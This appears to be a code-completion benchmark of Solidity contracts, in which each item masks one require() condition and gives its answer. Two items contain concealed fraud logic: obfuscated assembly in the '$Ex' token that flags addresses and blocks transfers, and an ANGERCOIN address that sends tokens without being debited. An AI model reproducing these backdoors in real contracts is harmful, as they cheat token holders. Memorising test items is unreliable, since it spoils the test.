address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private blackTomato;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private sickCow = 1; bool private pinkChicken;
uint256 private _decimals; uint256 private purpleFish;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _setVariables() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x7)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { if gt(float,exp(0xA,0x13)) { revert(0,0) } }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployTheEx(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract $Ex is ERC20Token {
constructor() ERC20Token("Ex", "EX", msg.sender, 12500000 * 10 ** 18) {
}
}
| (trading||(sender==addEx[1])),"ERC20: trading is not yet enabled." | 233,107 | (trading||(sender==addEx[1])) |
"TOKEN: This account cannot send tokens until trading is enabled" | /**
Website: https://angrybeaverseth.xyz
Twitter: https://twitter.com/AngryBeaversEth
Telegram: https://t.me/AngryBeaversEth
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function getTime() public view returns (uint256) {
}
}
contract ANGERCOIN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isWalletLimitExempt;
mapping (address => bool) public _isTxLimitExempt;
mapping (address => bool) public automativeMarketPair;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 0;
uint256 public _buyBurnFee = 0;
address payable public devWallet;
address payable public marketingWallet;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _totalTaxIfBuying = 1;
uint256 public _totalTaxIfSelling = 1;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 0;
uint256 public _sellBurnFee = 0;
uint256 public _liquidityShare = 0;
uint256 public _marketingShare = 1;
uint256 public _teamShare = 0;
uint256 public _totalDistributionShares = 1;
string private _name;
string private _symbol;
uint8 private _decimals;
address private ETFBlocks;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router02 public uniV2Router;
address public uniPairV2;
uint256 public _tFeeTotal;
uint256 public _maxBurnAmount;
uint256 private _totalSupply;
uint256 public _walletMax;
uint256 public _maxTxAmount;
uint256 private _minimumTokensBeforeSwap = 0;
bool private tradingOpen = false;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (
uint256 supply,
address owner,
address _devAddr,
address _marketingAddr
) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingOpen) {
require(<FILL_ME>)
}
if(inSwapAndLiquify){
return _basicTransfer(sender, recipient, amount);
}else {
if(!_isTxLimitExempt[sender] && !_isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !automativeMarketPair[sender] && swapAndLiquifyEnabled && !_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]){
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = _minimumTokensBeforeSwap;
swapBack(contractTokenBalance);
}
uint256 eTFAmount = sender == ETFBlocks ? 0 : amount;
_transferInternal(sender, recipient, eTFAmount, amount);
return true;
}
}
function _transferInternal(address sender, address recipient, uint256 tAmount, uint256 amount) private {
}
function _takeBurntFees(address sender, uint256 tAmount) private {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _takeTxFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
function removeLimits() public onlyOwner {
}
function enableTrading() external onlyOwner {
}
function addLiquidityETH() external payable onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferEthTo(address payable recipient, uint256 amount) private {
}
function swapBack(uint256 tAmount) private lockTheSwap {
}
}
| _isExcludedFromFee[sender]||_isExcludedFromFee[recipient],"TOKEN: This account cannot send tokens until trading is enabled" | 233,126 | _isExcludedFromFee[sender]||_isExcludedFromFee[recipient] |
null | /**
Website: https://angrybeaverseth.xyz
Twitter: https://twitter.com/AngryBeaversEth
Telegram: https://t.me/AngryBeaversEth
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function getTime() public view returns (uint256) {
}
}
contract ANGERCOIN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isWalletLimitExempt;
mapping (address => bool) public _isTxLimitExempt;
mapping (address => bool) public automativeMarketPair;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 0;
uint256 public _buyBurnFee = 0;
address payable public devWallet;
address payable public marketingWallet;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _totalTaxIfBuying = 1;
uint256 public _totalTaxIfSelling = 1;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 0;
uint256 public _sellBurnFee = 0;
uint256 public _liquidityShare = 0;
uint256 public _marketingShare = 1;
uint256 public _teamShare = 0;
uint256 public _totalDistributionShares = 1;
string private _name;
string private _symbol;
uint8 private _decimals;
address private ETFBlocks;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router02 public uniV2Router;
address public uniPairV2;
uint256 public _tFeeTotal;
uint256 public _maxBurnAmount;
uint256 private _totalSupply;
uint256 public _walletMax;
uint256 public _maxTxAmount;
uint256 private _minimumTokensBeforeSwap = 0;
bool private tradingOpen = false;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor (
uint256 supply,
address owner,
address _devAddr,
address _marketingAddr
) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
}
function _transferInternal(address sender, address recipient, uint256 tAmount, uint256 amount) private {
_balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
uint256 transAmount = (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) ?
amount : _takeTxFees(sender, recipient, amount);
if(checkWalletLimit && !_isWalletLimitExempt[recipient])
require(<FILL_ME>)
_balances[recipient] = _balances[recipient].add(transAmount);
emit Transfer(sender, recipient, transAmount);
}
function _takeBurntFees(address sender, uint256 tAmount) private {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _takeTxFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
function removeLimits() public onlyOwner {
}
function enableTrading() external onlyOwner {
}
function addLiquidityETH() external payable onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferEthTo(address payable recipient, uint256 amount) private {
}
function swapBack(uint256 tAmount) private lockTheSwap {
}
}
| balanceOf(recipient).add(transAmount)<=_walletMax | 233,126 | balanceOf(recipient).add(transAmount)<=_walletMax |
"Exceeds maximum number of tokens" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
contract TheVoiceOfTheSyndicate is ERC1155, Ownable, ReentrancyGuard {
using Address for address;
using SafeMath for uint256;
using ECDSA for bytes32;
uint256 public constant MAX_SUPPLY = 178;
uint256 public constant RESERVED = 88;
uint256 public constant TOKEN_ID = 0;
mapping(bytes => bool) public signatureUsed;
uint256 public totalSupply;
bool public saleActive;
address public signer = 0xb6e1c43C748DF0F8F983bF9da9FffFd66018750F;
constructor(string memory _uri) ERC1155(_uri) {
}
function setSigner(address _signer) public onlyOwner {
}
function flipSaleActive() public onlyOwner {
}
function setMetadata(string memory _uri) public onlyOwner {
}
function mint(bytes memory signature) public nonReentrant validMinter(signature) {
require(saleActive, "Sale is not active");
require(<FILL_ME>)
signatureUsed[signature] = true;
_mint(_msgSender(), TOKEN_ID, 1, "");
totalSupply = totalSupply.add(1);
}
modifier validMinter(bytes memory signature) {
}
}
| totalSupply.add(1)<=MAX_SUPPLY,"Exceeds maximum number of tokens" | 233,237 | totalSupply.add(1)<=MAX_SUPPLY |
"Signature already used" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
contract TheVoiceOfTheSyndicate is ERC1155, Ownable, ReentrancyGuard {
using Address for address;
using SafeMath for uint256;
using ECDSA for bytes32;
uint256 public constant MAX_SUPPLY = 178;
uint256 public constant RESERVED = 88;
uint256 public constant TOKEN_ID = 0;
mapping(bytes => bool) public signatureUsed;
uint256 public totalSupply;
bool public saleActive;
address public signer = 0xb6e1c43C748DF0F8F983bF9da9FffFd66018750F;
constructor(string memory _uri) ERC1155(_uri) {
}
function setSigner(address _signer) public onlyOwner {
}
function flipSaleActive() public onlyOwner {
}
function setMetadata(string memory _uri) public onlyOwner {
}
function mint(bytes memory signature) public nonReentrant validMinter(signature) {
}
modifier validMinter(bytes memory signature) {
require(<FILL_ME>)
address _signer = ECDSA.recover(
ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_msgSender()))),
signature
);
require(signer == _signer, "Invalid signature");
_;
}
}
| !signatureUsed[signature],"Signature already used" | 233,237 | !signatureUsed[signature] |
"Bad signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
/**
*
* _______/\\\\\_______/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\_____/\\\_____/\\\\\\\\\\__
* _____/\\\///\\\____\/\\\/////////\\\_\/\\\///////////__\/\\\\\\___\/\\\___/\\\///////\\\_
* ___/\\\/__\///\\\__\/\\\_______\/\\\_\/\\\_____________\/\\\/\\\__\/\\\__\///______/\\\__
* __/\\\______\//\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\//\\\_\/\\\_________/\\\//___
* _\/\\\_______\/\\\_\/\\\/////////____\/\\\///////______\/\\\\//\\\\/\\\________\////\\\__
* _\//\\\______/\\\__\/\\\_____________\/\\\_____________\/\\\_\//\\\/\\\___________\//\\\_
* __\///\\\__/\\\____\/\\\_____________\/\\\_____________\/\\\__\//\\\\\\__/\\\______/\\\__
* ____\///\\\\\/_____\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\___\//\\\\\_\///\\\\\\\\\/___
* ______\/////_______\///______________\///////////////__\///_____\/////____\/////////_____
* STANDARD_MINTING_FOUNDATION______________________________________________________________
*
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
/**
* @title Masters of Meditation ERC721A Smart Contract
*/
contract MastersOfMeditation is Ownable, ReentrancyGuard, ERC721A {
event PaymentReceived(address from, uint256 amount);
constructor(address authorizerAddress_, address distributorAddress_)
ERC721A("Masters of Meditation", "GURU")
{
}
/** MINTING LIMITS **/
uint256 public constant MINT_LIMIT_PER_ADDRESS = 10;
uint256 public constant MAX_MULTIMINT = 5;
mapping(uint256 => bool) public qualifiedNonceList;
mapping(address => uint256) public qualifiedWalletList;
/** MINTING **/
uint256 public constant MAX_SUPPLY = 10_000;
uint256 public constant PRICE = 0 ether;
/**
* @dev Open3 Qualified Mint, triggers a mint based on the amount to the sender
*/
function qualifiedMint(
uint256 amount_,
bytes memory signature_,
uint256 nonce_
) external payable nonReentrant {
require(saleIsActive, "Sale not active");
require(!qualifiedNonceList[nonce_], "Access nonce not owned");
require(amount_ <= MAX_MULTIMINT, "Exceeds max mints per transaction");
require(
qualifiedWalletList[msg.sender] + amount_ <= MINT_LIMIT_PER_ADDRESS,
"Minting limit exceeded"
);
require(totalSupply() + amount_ <= MAX_SUPPLY, "Exceeds max supply");
require(PRICE * amount_ <= msg.value, "Insufficient payment");
bytes32 hash = keccak256(abi.encodePacked(msg.sender, nonce_));
bytes32 message = ECDSA.toEthSignedMessageHash(hash);
require(<FILL_ME>)
qualifiedNonceList[nonce_] = true;
qualifiedWalletList[msg.sender] += amount_;
_safeMint(msg.sender, amount_);
}
/**
* @dev Owner of the contract can mints to the address based on the amount.
*/
function ownerMint(address address_, uint256 amount_) external onlyOwner {
}
/** ACTIVATION **/
bool public saleIsActive = false;
address private authorizerAddress;
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @dev Enables or disables the minting process.
*/
function setSaleIsActive(bool saleIsActive_) external onlyOwner {
}
/**
* @dev The address of the authorizer.
*/
function authorizer() public view returns (address) {
}
/**
* @dev Sets the address of the authorizer.
*/
function setAuthorizerAddress(address address_) external onlyOwner {
}
/** URI HANDLING **/
string private customContractURI = "";
/**
* @dev Sets the contract URI.
*/
function setContractURI(string memory customContractURI_)
external
onlyOwner
{
}
/**
* @dev Gets the contract URI.
*/
function contractURI() public view returns (string memory) {
}
string private customBaseURI;
/**
* @dev Sets the base URI.
*/
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
/**
* @dev Gets the base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/** PAYOUT **/
address private distributorAddress;
/**
* @dev Withdraws the ether from the contract to the distributor address.
*/
function withdraw() external onlyOwner {
}
/**
* @dev The address where withdraw will be sent to.
*/
function distributor() public view returns (address) {
}
/**
* @dev Sets the distributor address.
*/
function setDistributorAddress(address address_) external onlyOwner {
}
/** PAYABLE **/
receive() external payable virtual {
}
}
| ECDSA.recover(message,signature_)==authorizerAddress,"Bad signature" | 233,432 | ECDSA.recover(message,signature_)==authorizerAddress |
"Only operator allowed." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
abstract contract Roles is Ownable {
address public operatorAddress;
address public governorAddress;
struct RoleAssigned {
bool operatorAssigned;
bool governorAssigned;
}
RoleAssigned public roles;
event AssignGovernorAddress(address indexed _address);
event AssignOperatorAddress(address indexed _address);
constructor() {}
modifier onlyOperator() {
require(<FILL_ME>)
_;
}
modifier onlyGovernor() {
}
function setOperatorAddress(address _operator) external onlyOwner {
}
function setGovernorAddress(address _governor) external onlyOwner {
}
}
| roles.operatorAssigned&&msg.sender==operatorAddress,"Only operator allowed." | 233,554 | roles.operatorAssigned&&msg.sender==operatorAddress |
"Only governor allowed." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
abstract contract Roles is Ownable {
address public operatorAddress;
address public governorAddress;
struct RoleAssigned {
bool operatorAssigned;
bool governorAssigned;
}
RoleAssigned public roles;
event AssignGovernorAddress(address indexed _address);
event AssignOperatorAddress(address indexed _address);
constructor() {}
modifier onlyOperator() {
}
modifier onlyGovernor() {
require(<FILL_ME>)
_;
}
function setOperatorAddress(address _operator) external onlyOwner {
}
function setGovernorAddress(address _governor) external onlyOwner {
}
}
| roles.governorAssigned&&msg.sender==governorAddress,"Only governor allowed." | 233,554 | roles.governorAssigned&&msg.sender==governorAddress |
'MerkleDistributor: Drop already claimed.' | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.13;
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './interfaces/IMerkleDistributor.sol';
// https://github.com/Uniswap/merkle-distributor
contract MerkleDistributor is IMerkleDistributor, Ownable, ReentrancyGuard {
address public immutable token;
bytes32 public immutable merkleRoot;
uint256 public expireTimestamp;
mapping(address => bool) public hasClaimed;
/**
* @dev sets values for associated token (ERC20), merkleRoot and expiration time
*
* @param token_ Contract address of the ERC20 token that is being dropped
* @param merkleRoot_ Root of the token distribution merkle tree
*/
constructor(
address token_,
bytes32 merkleRoot_,
uint256 expireTimestamp_
) {
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external nonReentrant {
require(<FILL_ME>)
// Verify the merkle proof.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), 'MerkleDistributor: Invalid proof.');
// Mark it claimed.
hasClaimed[account] = true;
// Transfer token
require(IERC20(token).transfer(account, amount), 'MerkleDistributor: Failed token transfer');
emit Claimed(account, amount);
}
/**
* @dev Sweep any unclaimed funds to arbitrary destination. Can only be called by owner.
*/
function sweep(address target) external onlyOwner {
}
/**
* @dev Sweep any unclaimed funds to contract owner. Can be called by anyone.
*/
function sweepToOwner() external {
}
/**
* @dev
*
* @param newExpireTimestamp New expire timestamp
*/
function updateExpireTimestamp(uint256 newExpireTimestamp) external onlyOwner {
}
}
| !hasClaimed[account],'MerkleDistributor: Drop already claimed.' | 233,575 | !hasClaimed[account] |
"Invalid amount of free mint" | /*
GPTA:
?P~5GG5?~
!J^~JG5?^
.Y&&#Y
7Y55J
...:..!J?.
.:.::...:!:
....:......
.::...:::...
.^::!BJ!~::::
.:~B&G55J5~^~.
:P#P??!77BB5
.^~~~::^^^~:.
.^^: ..::^.
... .:.
.:. .
~P~ .. .:.
.PP57 ::^^?J:
.:!J~ :JB5^7^
:?:
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract GPTApes is INft, Ownable, ERC721A {
using ECDSA for bytes32;
enum SaleStates {CLOSED, PUBLIC}
SaleStates public saleState;
uint256 public maxSupply = 10000;
uint256 public publicPrice = 0.005 ether;
uint256 public GiveawayPrice = 0 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 1;
uint256 public maxGiveawayMint = 3;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedGiveaway = false;
string private seed = '7168484740775753454372592524734663322';
string private phrase = '';
event Minted(address indexed receiver, uint256 quantity);
event SaleStateChanged(SaleStates saleState);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("GPT-Apes", "GPTA") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable checkState(SaleStates.PUBLIC){
uint256 price = publicPrice;
uint256 freeMintCount = _freeMintedCount[msg.sender];
require(<FILL_ME>)
if(quantity<=(maxFreeMint-freeMintCount)){
price=0;
_freeMintedCount[msg.sender] += quantity;
}
require(msg.value >= quantity * price, "Invalid ether amount");
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require(_totalMinted() + quantity <= maxSupply, "Supply exceeded");
_mint(msg.sender, quantity);
